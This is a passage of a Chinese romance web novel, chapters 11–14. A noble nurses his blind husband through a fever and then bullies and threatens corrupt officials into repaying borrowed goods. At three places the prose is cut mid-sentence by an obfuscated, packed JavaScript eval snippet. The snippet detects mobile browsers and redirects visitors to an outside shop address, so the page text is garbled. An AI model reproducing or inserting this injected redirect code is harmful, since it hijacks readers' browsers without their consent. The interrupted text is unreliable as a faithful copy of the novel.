薛俨说的不错,朝中一品乃至九品官袍的模样,他都见过,但他没见过薛俨长大后的样子,更没见过他穿官袍的样子,只能努力回想起薛俨十四岁的样子,再结合那件官袍,拼凑出一个大概的样子。 赵禛的手有些凉,盖在薛俨的眼皮上,对方下意识眨了下眼,睫毛扫过手心闹得人心都痒痒的,赵禛立马换了个位置,双手捧过薛俨的脸,单凭记忆里的少年来想,薛俨应当是极好的长相。 薛俨又抓着他的手搭在肩头,官袍上细密流纹配合着官袍下鼓起的薄肌,赵禛指节蜷缩了下,简单扫过那双时不时就爱抱着他的手臂,他本想就此收手,可薛俨又抓着他放在了胸口上。 他只能又顺着摸下去,春日里衣衫单薄,和风微凉,青年的胸口却是滚烫,隔着衣料甚至还能感受到那颗健跳有力的心脏,赵禛的手一寸寸下移,落在金腰带前…… 薛俨的身形在他的掌下逐渐清晰明朗,在他的想象中,那件裹得严严实实的官袍被他扒得彻底,掌心下一寸寸抚过的是不穿衣服的薛俨。 他在想什么? 赵禛被自己的想法吓了一跳。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338483|199281||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵禛猛地收回手来,“我想象到了。” 耳尖微微泛起红色。 正巧被薛俨瞧了个彻底,他咧嘴笑了笑,甚至故意动手捏了下赵禛耳垂,热热的,烫烫的。 赵禛吓得双手捂住了耳朵,避开他的触摸,“你做什么?” 薛俨笑道:“起风了,把我们宣卿耳朵都吹红了,哥哥帮你暖暖。” “不用。”赵禛回避。 薛俨见他生气,也不再故意逗他,“我看天色一会儿要有雨,宣卿先回屋去吧,叫蓝瞳给你念念书,回头东边的戏楼建好了,就可以在室内听戏了,我去穿着官袍给祖母瞧瞧。” 他说着又招呼了蓝瞳,推着赵禛回屋去,他则穿着官袍往窦老太君的院子里去了。 赵禛回了屋,蓝瞳从书架拿了本薛俨叫人买回来的话本子读,赵禛则摸索着自己转动轮椅凑到了薛俨下棋的地方,掌心盖上去,棋子摆成了一个圆,圆心有两个点,点下一个弯曲的弧度。 薛俨先前摆的笑脸,他一直没叫人收。 他勾了勾唇角,双臂撑着身子拖动到小榻上,开始去捡薛俨留下的棋子,等棋盘干净后,他又模仿着薛俨,也摆了一张笑脸。 只是下着下着棋,大脑却逐渐混沌沉重起来,原本清晰的思路也变得昏昏沉沉,吐出的呼吸沉重而炽热。 外头风声吹得窗子呼呼作响,淅淅沥沥的雨水顺着房檐瓦片打落在青石板上,空气也变得阴冷潮湿起来。 “咳咳……”他重重地咳嗽起来。 赵禛捏着棋子的指节逐渐用力而泛白,像是在极力忍耐着什么,那双素来没什么知觉的腿此刻像是有密密麻麻的蚂蚁在骨头缝里爬窜,又痒又麻又疼,每一节骨头都在冒着丝丝寒气。 额前密汗频出,浑身都在发冷发抖,他俯伏着身子终于是撑不住了。 咕噜—— 一枚棋子滚落在棋盘上。 蓝瞳听见声响忙不迭地从里间出来,瞧见赵禛的通红的脸色后吓得人都快飞起来了,“殿下,殿下。” 外头守着的人听见动静,进来瞧见赵禛歪在榻上,急忙小跑着往老太君院子里去了。 薛俨正在备受煎熬,左耳朵进,右耳朵出,满脑子都是“子嗣”“子嗣”“子嗣”,听得他头疼,正好有人踏着雨水跑过来。 “侯爷,侯爷,夫人病倒了。” 薛俨如蒙大赦,心下又倏地一沉,也顾不得从连廊绕路,顺手接过小厮手里的伞便冲进雨中,等他到院子里时,钱孙李三位大夫已经在替赵禛诊治了。 “宣卿,宣卿。”薛俨走到床前,探了探他的额头,温度滚烫,“怎么一会儿的功夫突然烧成这样了?” 只见赵禛双眸紧闭,脸色煞白,额前蒙着一层密汗,身上盖着冬日里的厚被,薄唇微微张合,手指死死抓着被角,“冷。” 薛俨凑近听到他喊冷,连忙叫人将碳火炉子生起来,又灌了汤婆子放进赵禛被子里。 三位大夫看了半天,叹了口气,“体弱之人最怕天气反复无常,今日这雨来得突然,疾风骤雨、湿冷寒气入骨,这才起了烧热,再加上腿疾未愈,怕是痒痛难忍。” 薛俨急道:“别叹气了,快说怎么治?他一直喊冷。” 钱大夫道:“只能以保暖驱寒为主,我开一副驱寒的方子,夫人先服下,夜里湿寒,等暖和过来便好了。” 钱大夫开了方子,又去药阁备药,赵禛喝了药依旧是昏迷不醒 ,眉头紧紧皱着,像是陷入了什么梦魇一般。 雨下得很大。 蓝瞳和其他几个小厮守在外间,薛俨则一直坐在床前守着赵禛,听着雨声渐大,屋内碳火盆子烧得通红。 夜半,赵禛模模糊糊醒来时,整个人像是被一个巨大的火炉包裹,他想活动一二,腰身脊背却被人死死抱着,身后是一个滚热的胸膛,没穿着任何衣物。 赵禛肌肉一下绷紧了。 人也在此刻彻底清醒过来。 12. 第 12 章 腰间搭着的手臂滚烫,赵禛从未被人这么紧密地抱过,一时有些无措,他小心翼翼地翻了个身,薛俨身上独有的兰香扑面而来。 赵禛伸手摸去,薛俨没有穿着任何亵衣,白日里隐藏于官袍之下的身体就这么赤.裸.裸地躺在了他身侧,他又试探性地往下摸去,薛俨倒是穿着条裤子,但那裤子极短,大概在膝盖往上一点的位置。 赵禛原本要退烧的脸庞逐渐又变得烧红燥热起来。 他怎么不穿衣服? 薛俨的腿压着他,导致原本冒着寒气的骨缝间都成了融融暖意,素来没有什么知觉的腿莫名有了一点奇妙的压感。 他又摸索着往前,想再去感受一下薛俨的脸,白日里仓促拂过,他还是没办法想象出薛俨是什么模样,甚至七年前的对薛俨的记忆也早已模糊不清。 薛俨的皮肤很好、很光滑,鼻梁高挺,睫毛也很长,眉宇并不似他本人那般温和,反而是有些锋锐的剑眉。 他的眼睛…… 薛俨突然睁开了眼睛。 赵禛的手一顿,陡然尴尬起来,默默地将手抽回,缩进了被窝,佯作什么都没发生。 薛俨初醒,迷茫了一瞬,反应过来便是惊喜,“宣卿,你醒了?” 他的手背不由分说探上了赵禛额头,已经退烧了,他又伸进被子里握了下赵禛的手,伸着脚尖感受了下赵禛的脚尖,四肢温度不再发冷,全部恢复了正常。 “太好了,你还冷吗?或者是哪里有难受吗?我叫钱孙李过来看看。”薛俨支起身子,将赵禛身后挣扎乱掉的被角掖了一下。 赵禛缩在被子里闷闷道:“我没事了,你为什么会在我被子里?” 新婚夜第二日薛俨就叫人把明月阁的东厢房收拾了出来,为了方便照顾,俩人虽同住一个院子,但并不同住一屋,更别说同睡一床。 薛俨道:“你夜里一直喊冷,我加了被子,又塞了汤婆子,都不管用,你一直抓着我的手,我想着我体温高,就帮你暖暖。” 赵禛再次尴尬起来,他努力转移了个话题,“几更天了?” 薛俨看了看外头天色,“快寅时了,你的腿还疼不疼了?钱孙李说你的腿在湿冷天容易难受,这会儿还疼吗?” 他掀开被子,洁白亵裤下赵禛的腿乍看之下看不出什么外伤,他伸手揉搓了两下,又问,“难受吗?我帮你揉揉。” “不用!”赵禛抢过被子将自己盖得严严实实,声音略显慌张,“不难受,不用揉。” 薛俨挠挠头,“好吧,那你接着休息,我到边上小榻上睡一会儿。” 薛俨一走,旁边陡然空了,只有被角上点点余温包裹着他。 “哥哥……” 薛俨正要在小榻上躺下,便听到帷幔内传来声音。 “冷。” “那……我还回去?” “嗯。” 很快赵禛便感觉到有人掀开身侧的被角,暖意再次席卷而来,他试探性地将手搭在薛俨身上,那人很知趣地往里靠了靠,让赵禛能抱得更舒服些。 “这样还冷吗?”薛俨问。 “不冷了。”赵禛将头靠上去,脸颊处都带着融融的暖意。 从前他听说几个皇兄在府上都有暖床的丫头,冬天时温香软玉在怀,他对此很是厌恶,他讨厌有人上他的床,更讨厌任何女人或者男人接触他的私人物品。 如今怀中的人换成了薛俨,他忽然觉得温香软玉在怀确实很舒适,伸手一摸,掌心下是薛俨常年练就姣好的身材,腹部肌理块块分明,手感极佳。 他下意识多摸了两把。 “宣卿……”耳边传来男人闷闷的声音,听着像是在极力压抑什么。“别乱摸。” 赵禛这才意识到自己的指腹下好像按到了什么不得了的圆滚滚东西。 他手指下移几寸,低声道:“对不起,哥哥,我不是故意的。我只是眼睛看不到,便想用手感受一下你的样子。” 薛俨被他小心翼翼的道歉声噎了一下,最后在心里把自己谴责了一遍,他在想什么?赵禛还是一个十七岁的少年,又不是断袖,眼睛也看不见,自己竟然这样斥责他。 “没、没关系。” “嗯。” 赵禛抱着他,嘴角却扬起了一个弧度。 他好像了解薛俨这个人了,吃软不吃硬,心口好像比嘴唇还软。 等到天边泛起一点鱼肚白,薛俨被迫起了个大早,准备提早收拾去兵部上任,刚掀开被子,就瞧见赵禛通红的脸,他心头咯噔一跳,又用手背探去。 额头滚烫,竟是又烧起来了。 “松烟,松烟,唤大夫来。”薛俨匆匆爬下床,趁这空档给自己披上衣服。 钱大夫急匆匆赶来,给赵禛把过脉搏,表情逐渐变得诡异,甚至刻意抬眼看了下薛俨,欲言又止。 “侯爷,您昨日是把碳火炉子放夫人被窝里了吗?” “夫人昨日烧热是因为寒气入骨,今日则是燥火过盛所致,您到底往他被子里放了什么?” 薛俨摸摸鼻子,“没什么,就放了两个汤婆子。” 钱大夫摇头道:“这绝不可能,被褥可曾加减?炭火盆子莫非是烧了一夜?我不是说只能烧半夜吗?窗子也要留缝儿。” 薛俨道:“被子没动,炭火盆子和窗户都遵照医嘱。” 钱大夫表情古怪,“侯爷,万不可有所隐瞒,否则对于治疗病症百害而无一利。” 薛俨脸庞微红,小声尴尬道:“还有我。” 钱大夫几乎怀疑自己耳朵,“什么?” 薛俨无奈道:“他昨夜一直喊冷,我寻思着帮他暖暖,就把我自己也塞进去了。” 钱大夫眼皮一抖。 薛俨有些无地自容,尤其是钱大夫一脸看淫贼的表情,更是看得薛俨羞愤难当,好像他做了什么十恶不赦的事情。 “侯爷!”钱大夫怒喝一声,“您怎么能这么做!” 薛俨急忙解释,“我什么都没做,我只是单纯抱着他取暖而已。” 钱大夫满脸写着不信。 薛俨:“……” 二十年清誉毁于一旦。 钱大夫上前抓过薛俨的手腕,将指肚搭上,停留一瞬,“侯爷,你是武将,气血足,阳气旺,纯阳之体,但夫人体弱,虚不受补,他受不了你……” 钱大夫就差直白地说你离他远一点。 “我知道了,知道了。”薛俨尴尬地恨不得找个地缝钻进去。 再看看旁边偷笑的松烟等人,气得他抓 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薛俨想了想,“那我把松烟留给你,他是自小跟我一块长大的,府上的事比我还清楚,你想要什么只管使唤他就是。” 赵禛乖乖“嗯”了一声。 * 如同吏部侍郎所说,驾部司并不和兵部本部的人在一处办公。他到驾部司的时候,其他几位同僚已经在门口迎着了,远远地瞧见他人,脸上就已经堆上了笑。 “下官驾部司员外郎孟文山,见过侯爷。” 驾部司内设郎中一人,员外郎一人,主事四人,属于有官职品阶之人,其余的令使、书令使、掌固则属于【吏】,没有任何官职,但也是吃官家饭的人。 薛俨同他们客套了一二,跟着进了驾部司内,那位员外郎孟文山是个极热情的人,将薛俨迎进了主位,又是领着驾部司上下拜见。 “孟员外,库房卷册何在?我初上任职,理应先查卷册,盘点库房。” 孟文山又搬出一摞又一摞小山似的案卷放到薛俨,“这些都是,里面还有上任郎中没签完字的票拟。” “哦,这里还有一封前任郎中留给下一任的信。” 孟文山从积了灰尘的案册中抽出一封信,“上面的火漆是完整的,下官等没有动过。” 薛俨接过信封,狐疑地看了孟文山两眼。 孟文山道:“他说是为了下一任郎中更好地管理驾部司,给您留的一些建议。” 薛俨点头,拆开了火漆。 他打开折叠的信纸,又吓得迅速合上,瞳孔震颤,表情诡异,心脏擂鼓般跳动,眼底一瞬间放空失神,像是看到了什么可怕的事情。 孟文山见他此等见了鬼似的表情,忙不迭问道:“怎么了?” 他凑过来想看,薛俨故意挡了一下,“没事,你先去忙吧,有事我再叫你。” 等孟文山走后,薛俨将信纸打开又看了一眼,那上面只有潦草的两个大字。 笔力浑厚,几乎要将纸张洞穿,他甚至还能感受到此人仓促之下慌乱。 快跑—— 卧槽! 薛俨动了动嘴唇,无声地骂出一句国粹。 13. 第 13 章 新官上任第一天,收到了来自于前任的建议信,信上却只有两个字“快跑”,这种事不亚于撞鬼。 薛俨将那张纸塞进怀中,又跑出去找到了孟文山。 “孟员外,不知前一任郎中是因何罢职的?” 孟文山四下看看,凑近薛俨低声道:“疯了,听说是当街调戏了一位八旬老太,正好叫御史台的人给看见了,当朝参了一本,陛下派人去叫他对峙,结果看见他在家里光着屁.股乱跑,太医诊治说是误食毒草,害了脑子,不中用了,陛下就赏了点东西,让他返乡了。” 薛俨一惊,“那为什么会给我留一封信?” 孟文山道:“我去看他时,他突然清醒了一瞬,将那封信递给的我,还嘱托我不要让别人知道,后来就彻底疯了,说话也疯疯癫癫的。” 薛俨感觉天都塌了—— 能把人逼到发疯,这驾部司肯定是个天坑。 薛俨顾不得其他,率先拿了库房钥匙开始去盘点库存,又核对了账册,折腾了一上午果然越查越不对劲。 “账册说今年一月,驾部司买了木头要打造一百辆车,车呢?木头呢?” 孟文山道:“顺天府衙门修缮,木材厂木头不够,就从咱们这把木头借走了。” 薛俨又问:“可有借据?或者是登记借册,签字画押?” 孟文山摇了摇头。 薛俨不解道:“顺天府衙门修缮缺木头那是木材厂的事,跟咱们驾部司有什么关系?就算要借也不该是跟咱们借,是他们两方的事。” 孟文山为难道:“那顺天府的人是五皇子的小舅子,咱们开罪不起啊,说好一有木头就咱们送来的。” 薛俨都无语了,“他说给咱送来就送来啊?之前借的东西还过吗?你都不查一下他的信用额度吗?” 孟文山怔怔,“什么是信用额度?” 薛俨又指了账册另一处问:“去年十一月驾部司采购了一批千里良驹,打算分发到下级驿站,但是我并没有看到分发的登记文书,也没在马厩里看到这批马。” 孟文山道:“工部说要运送一批材料,没有马用,借走了。” 薛俨:“……他要借马,可有借用文书?无凭无据,你凭什么给他,四个月了,那匹马他给你卖了你都不知道。” 孟文山叹了口气,“工部都是太子的人,太子要用,我们哪敢不给啊?” 薛俨又拿出一叠没签字的票拟,“这是去年我们申请修缮驿站的票拟,今年年初户部批钱的时候给退回来了,理由是超了预算,但我查了去年的账目,并无不妥,这又是怎么回事?” 孟文山压低声音,“去年澶州发大水的事您知道吗?国库资金紧张,户部擅自把这笔钱挪去赈灾用了。” “账目上记的是[代驾部司捐献救灾款],但根本没走咱们的账,大家也不知道这事,还是您的前任李郎中察觉不对劲去户部翻了账目,这才查出来的,但户部不认,这笔银子就没了。” 薛俨听完,天更塌了—— 要钱钱没有,要库存库存没有。 难怪前任李郎中宁可装疯卖傻也要罢官回乡。 他冷静了一刻,大步往前走去。 孟文山问:“您去哪?” 薛俨答:“我去街上找一位八旬老头调戏一下,再让御史台参我一本,然后光着屁.股去街上裸奔。你现在就去把驾部司的人全部叫来看我裸奔。” 孟文山:“……” 当然,薛俨并不可能真是去调戏八旬老头,更不可能去街上裸奔,他还是比较要脸的。 他出了驾部司的门,找到自己的马车,苏恒正蹲在马车前啃烧饼。 薛俨道:“你回去把咱们府上的私兵专挑个高身子壮的给我叫过来二十个。” 苏恒一愣,“侯爷,您要干什么?” 薛俨薄唇轻启,吐出几个字来“我要掀了六部的屋顶。” 苏恒反手扔了油纸包,“好嘞。” 等薛俨回到驾部司,所有大小官吏已经全部集合完毕,一个个迷茫着双眼站在青石路上,交头接耳的。 见薛俨走来,所有人正经了神色,自觉让出一条路来。 薛俨上前,“诸位同僚,并非是我想新官上任三把火,你们也不必害怕,这把火不是要往你们身上烧的,而是因为……牵扯到太子和大皇子。” 底下人又窃窃私语起来。 薛俨朝他们招招手,他坐在台阶上,其余众人则将他团团包围。 薛俨低声道:“涉及朝中密辛。” 众人一惊,围着薛俨更紧密了些,有人还自觉得关上了门。 薛俨继续道:“前段时间三皇子在南方打了胜仗,笼络了不少武将的心,这大皇子和太子,他们不甘心,也想往咱们兵部插一脚。” 薛俨开始真假参半地造谣,“他们想把自己的人手安插进来,但一个萝卜一个坑,咱们兵部又没有合适的空缺,你们觉得会怎么办?” 孟文山道:“把旧萝卜拔出来,就有了新的萝卜坑。” 薛俨一拍手,“没错,所以现在朝中好多双眼睛都盯着咱们兵部呢,一旦你们犯错,就会有人小事化大,大事化更大,你们的脑袋和九族就都保不住了。” 最关键的是薛俨刚娶了六皇子,而六皇子当年在朝中呼风唤雨的时候,太子和大皇子可是处处吃瘪,现在六皇子好不容易倒台,谁也不会放过这个好机会。 虽然薛俨没说,但众人也想到了这一层,驾部司已经成了众矢之的。 抓住薛俨的把柄,不仅能拔出几个萝卜坑,还能顺道踩一脚六皇子,让他永世不得翻身。 有人问:“那我们该怎么办?” 薛俨道:“这位同僚问得好!我的建议是我们大家这段时间都夹着尾巴做人,千万不要出差错,尤其是像库房、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338485|199281||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 账目、银子这种事情,外头一查一个准儿。” “所以,为了我们人的小命和九族大计,咱们现在就把库房和账目全部盘查一下。” 他起身抬眼看了下天色,“两刻钟你们去吃饭,吃完饭所有人集合,查账,不管是什么纰漏都是以前的问题,过往不究,我们现在只需要查漏补缺,借出去的东西我负责去要,出了什么岔子我担着。” “我们的口号就是:不抛弃、不放弃,不能让任何一个同僚被拔萝卜。” 孟文山开始附和,“对!我们一定要小心外面的人,李郎中肯定就是被他们害得。” 薛俨很欣慰,这位孟员外郎真是颇有眼力劲儿,难怪前任李郎中会信任他把那封信交给他传递给下一任。 其他人也纷纷开始附和。 如果这件事是薛俨要求他们查账,他们肯定不情愿,但现在涉及到他们共同的利益,谁都害怕自己被查出问题被人顶替了,他们比薛俨还急。 薛俨说完一摆手,众人一哄而散,急匆匆赶去吃饭了,薛俨叫孟文山给自己带俩馒头,他又一头扎进库房堆里开始查账。 驾部司的账目简直一团乱麻,工部借的木头,户部挪走的银子,礼部又骗走了几辆车……该死的六部…… 大楚前几百年出现过武将起兵造反事件,自那以后,朝中刻意重文轻武,武将都没什么地位,他们兵部便更是没什么权柄了。 况且,兵部听起来好像手握兵马大权,但实际上只是负责武官的选拔、考核、记功等后勤差事,跟兵权半点关系都没有。 吏部是天官,户部是地官,工部掌土木水利、油水多多,礼部管科举祭祀、前途光明,都是香饽饽。只有兵部和刑部两个难兄难弟,一个不受宠,一个得罪人,别说油水了,能活着退休就是牛人。 午后,薛俨从家里调来的外援如数到场,二十个大汉站在外头,像是一堵肉墙,看着就足够唬人。 驾部司除了手上有急活的所有人都集合到库房外,一摞又一摞积灰的账本被人搬出来摞成小山。 薛俨道:“孟员外,你把这两年外头跟咱们借的东西,捡几个紧要的列出来,今天下午你带着他们查账,我去上门要债,就算要不回来也要他们把借契签字画押。” 孟文山见他气势汹汹的,紧忙将脑子里记得的一些难要的账全部写下来,时间、地点、人物、事件,样样不落。 薛俨拿着纸张,“很好,我现在出去要债,你们在家乖乖查账。” 他一招手,那数十个私兵跟在他身后声势浩荡地走了。 一人见此情形拉了拉旁边同僚的袖子,“不会打起来吧?” 那同僚道:“肯定会打起来的,你别管,他六岁就能把学堂十几个孩子打哭,他出不了事。” 那人问:“你怎么知道?” 同僚道:“他打得是我儿子。” 那人:“……” 14. 第 14 章 薛俨按照孟文山列出的人名,从第一个开始找上了门,五皇子的小舅子王进,顺天府的官吏,借走了他们今年一月的木材。 顺天府衙门正在修缮,所以处理公务的官吏全部挤在了一个狭小的空间,薛俨不由分说,一脚踹开了朱红色的大门。 门口的衙役瞧见他身上的官袍,想上前去拦,但薛俨那二十个私兵往旁边一堵,拎小鸡仔一样就把人全部拎走,给薛俨开出一条路来。 “哪个是王进?” 薛俨的突然闯入,屋内所有正在埋头办差的人纷纷停了手上的动作,抬头看了他一眼,等认出来人后,又整齐划一地垂下头当没看见。 “王进何在?” 薛俨敲了敲离门最近的桌子。 那人吓得摇了摇头。 “很好。”薛俨见没一个人搭理他,转身抬脚出去了。 等众人一个个伸长脖子往外望风,以为他就这么被打发走时,薛俨又进来了。 薛俨本就生得唇红齿白、相貌俊美,一身绯红官袍更是衬得郎艳独绝、世无其二,然而此时这等美人手上却拎着一只旁边工地的粗重大锤。 美人拎捶,颇有喜感。 随后便见薛俨手起锤落,旁边的书案落下一个大洞,轰然碎成两列。 “如果还没人告诉我王进在哪?我就把你们这儿全砸了。” 他是债主,他又不是欠钱的,他当然要嚣张一点,就算告到皇帝那里去,他都有得说。 不多时,有狗腿子指引着一人从侧门进来。那人个头不高,皮肤却白,脸上的肉都堆在一起,穿着绯红官袍,远远看上去像个球。 “谁啊?谁在我顺天府闹事?”男人张口便是一副懒洋洋的模样。 “就是你在我顺天府闹事?”王进站在薛俨面前,试图让自己站得板正,但他的身高实在不给力,任凭他如何努力,也只能达到薛俨咯吱窝以下的位置。 薛俨居高临下地看着他,有些滑稽,视线又落在了对方的肚子上,“你是王进?” 王进见自己身高不够,往远处挪了挪,努力让自己有些气势,“你是谁?” 薛俨道:“驾部司,薛俨。” 王进想了想,嗤笑一声,“就是那个用军功换了六皇子的临淄侯薛俨?” 此话一出,顺天府其他人也议论起来,六皇子被幽禁后,他就成了禁忌,人人避之不及,偏有人竟敢拿军功求娶,还是一个男人。百官佩服此人不怕死的同时,也对此人避之不及。 薛俨低头,视线扫过王进胖成球的肚子,语气淡然问道:“你怀孕了?” 王进一听,脸色腾地一下涨成了猪肝红,又羞又怒,胸口剧烈起伏着,手指着薛俨,半天没憋出一句完整的话:“薛俨你……你放肆!” 周遭几个顺天府的官员听见这话,想笑又不敢笑,只能死死憋着,肩膀止不住地轻颤。 薛俨啧了一声,“你要是怀孕了,你早说嘛,来,快坐下,别动了胎气。” 王进气得跳脚,“你你你……” 薛俨不慌不忙道:“王大人,今年一月,我们驾部司向盛天木材厂订购了一批木材,但后来由于你们顺天府也要修缮衙门,木材不够,便把我们的木材借走了,此事可还记得否?” 王进冷哼一声,掏掏耳朵,一副事不关己高高挂起的态度,“什么木材?什么驾部司?没影的事儿。” 薛俨语调上扬,“哦?这么说你是不打算认账了?” 王进道:“有本事你拿出借据来啊?难不成你们驾部司穷到这个地步,开始出来讹人了?” 薛俨眼神微眯,五指握紧了手中的锤子,猛地抡起,啪地一声又砸碎了一个桌案。 “今年一月,你亲自到驾部司借走了一批木材,并承诺很快归还,且威逼利诱不愿签署借据,驾部司上下均可作证,你若是执意不愿归还?” 王进冷笑,看着他手中的锤子,“怎么?你还要打我不成?有本事你打死我。” 薛俨从没听过这等要求,当即应下,“好,我就听你的。” 他扔了锤子,右拳紧攥,甚至又问了一句,“你真没怀孕?我不能伤害祖国未来的花朵的。” 王进暴跳如雷,“薛俨,你简直放肆,我姐姐可是五皇子的侧妃,你休要再羞辱于我,我一个男人怎么怀孕?” 薛俨点点头,“那行。” 他说罢,左手按住王进的肩膀,右手成拳,直接打在他肚子上,拳拳到肉,薛俨专门挑得最疼的地方打去,那王进又是细皮嫩肉的,当即嗷叫一声,额头都出了一层冷汗。 “薛俨,你竟敢……” 薛俨道:“你姐姐不过是个五皇子侧妃,我岳父还是皇帝呢。你到底还不还那批木材,老子新官上任,你要是给我找事,就别怪我给你找事了。” 旁边有顺天府的人想拦,但薛俨的私兵已经将此处团团包围起来,甚至顺天府的衙役也尽数被拦在了外面。 王进弯腰捂着肚子,“你拿借据。” 薛俨又是一拳打在他的左眼上,“还不还?” 王进疼得直翻白眼。 薛俨捡起方才的锤子,“你的脑袋和这桌案比,哪个更结实?” 王进双眸瞪大,这煞神真敢…… “还,还!我还你就是了。”王进脸色惨白,“但是现在没有多余的木材,你要再等几日。” “我等你妈。”薛俨直接将王进按在地上揍了一顿,“还钱!我们花了多少银子,加上利息,全部给我吐出来。” 那盛天木材厂敢把他们的单子透露出来,他可不敢再跟盛天合作了,再说上次账册的事情大皇子和太子还得拉扯,没准儿哪天这厂子就出事了。 王进哭诉道:“我们借的是木头,拿了你们银子的是木材厂,你该找他们要。” 薛俨道:“谁管你?给我还钱,要不然我让你回家坐月子。” 盛天木材厂和顺天府绝对有勾当,他才不掺和,他只要那批预算银子,然后换一家新的木材厂重新打造车辆。 王进没办法,生怕这阎王真把他打得下不来床,只能叫人批了银子。 薛俨将银子清点正常,本金利息一文不少,这才罢休,临走前又给了王进一巴掌,“下次来我们驾部司按规矩办事,要不然我连五皇子都打。” 刚出门就碰上顺天府尹,顺天府尹远远看着倒地不起的王进,“这是怎么了?” 薛俨笑道:“睡着了,年轻就是好,倒头就睡。” 他数着银票,出了顺天府的门,扭头又往工部去了,可惜的是工部侍郎邓儒今日告了假,但薛俨可不管这个,扭头便往他家里去了。 王进年纪尚轻,性格也嚣张跋扈,这几年仗着他姐姐是皇子侧妃的事没少为非作歹,就连顺天府的差事也是硬塞进来的,他打几拳没事,但是邓儒不同,邓儒是科举入仕正儿八经的工部侍郎。 邓儒人如其名,年旬四十,性情儒雅,下颌几缕萝卜须。 面前的茶水有些凉了,邓儒吹了吹茶,开始打太极,“马上清明雨水多,堤坝要加紧修固,工期紧,便没来得及登记,回头我便叫人补上。” 薛俨微微一笑,从袖子取出登记手册,“那就请邓侍郎签字画押吧。” 邓儒自是没想到他竟然是带着文册来的,他接过文册,又推了回去,“小侯爷,这文册不对吧?我记得我们借的不过是日行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338486|199281||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 百里的驽马,这册上怎么是日行二百里的良马?” 薛俨见他眼底闪过一道精光,暗道这老匹夫果然打算不认账,竟然想用最下等的驽马来换他最上等的良马。 薛俨身体前倾,“我来时瞧见府内张红挂彩,邓侍郎的千金过几日要大婚了吧?” 邓儒手一顿,“你想威胁老夫?” 薛俨同样笑眯眯的,“你如果敢拿驽马来搪塞我,我就大闹你女儿的婚礼,当众抢亲,然后把你的女……” 他话到嘴边又一转,“把你的女婿抢回来给我做小妾。” 邓儒大惊,“你……” 薛俨一抬下巴,“我什么我?我现在就喜欢男人,我记得令郎也正当青春年少,要不我一并笑纳了?” 邓儒双眸瞪大,“无耻之徒!” 薛俨怒道:“我比不得你无耻,我好好的良马,到了你嘴里就成了驽马。” 碰巧,这会儿工部侍郎的儿子刚从外头回来,抬脚踏进了前厅,人还未进,声音已至。 “爹,我刚听说王进那小子被人给打了,临淄侯真是干了我一直想干的事……” 待他真正进入前厅看到坐在椅子上喝茶的男人时,脚步一滞,而他口中的临淄侯正端着茶碗淡然地朝他打了个招呼。 薛俨撂下茶碗,缓步走去,边走边笑,“邓侍郎,令郎长得可真是国色天香、千娇百媚啊。” 工部侍郎的儿子站在原地,面色惊恐,薛俨绕着他走了一圈,对方还穿着一身粉襟衣衫,“粉色娇嫩,你如今几岁了?” 薛俨说罢又顺手在他屁.股上拍了一下,对方吓得急忙捂住屁股跳起来。 薛俨笑道:“屁.股好翘,你好骚啊。” 邓儒瞳孔震颤,眼睁睁看着薛俨当场把他儿子调戏了一遭。 “兄长……”外头又进来一个约莫三十多岁的男人,相貌端正,彬彬有礼,待看见薛俨在时,他行了一礼,便准备退出去。 “等一下!”薛俨又在那男人跟前色眯眯地绕了一圈,“我知道,这位是邓侍郎的胞弟,真是端庄秀丽、风韵犹存。” 邓儒是金科探花出身,年轻时也是容貌极美,他的弟弟、儿子自然也跟他有着差不多的脸,一家人的颜值都很高。 他猛地吸了一口气,“你好香啊,用得什么香?” 邓侍郎的弟弟人都傻了。 而立之年的岁数被一个毛头小子围着夸香,传出去他这张老脸还要不要了? 邓儒额前青筋突突直跳,捡起毛笔就在册子上签了字,又按了手印,“五十匹良马如数奉还。” 薛俨接过文册,见没什么问题,忙不迭地收起来,临了又朝邓儒抛了个媚眼,“下次需要用马,记得拿文书来。” 他离开时,经过邓儒的儿子,对方吓得后退三步,避如蛇蝎。 等他走后,对方才凑过去,“爹啊,我刚才听说薛俨为了讨要顺天府借的那批木材把王进那小子揍了一顿。” 邓儒气得吹胡子瞪眼道:“他还不如把我揍一顿呢?我直接叫人抬着我进宫找陛下评理。” 邓儒的弟弟笑道:“他大概也知道你是老骨头,不敢动你,就另出奇招。” 邓儒怒道:“六皇子怎么嫁给了这么一个混账?” 邓儒为人好名声,他的女儿又即将大婚,这个节骨点上肯定不能闹出风言风语来,而薛俨正是抓住了这一点。 出了邓府,薛俨像个魔鬼,在名单上扫了一遍,跳过了几个太子党的人,顺手挑了大皇子的人,“户部侍郎,谭同茂。” 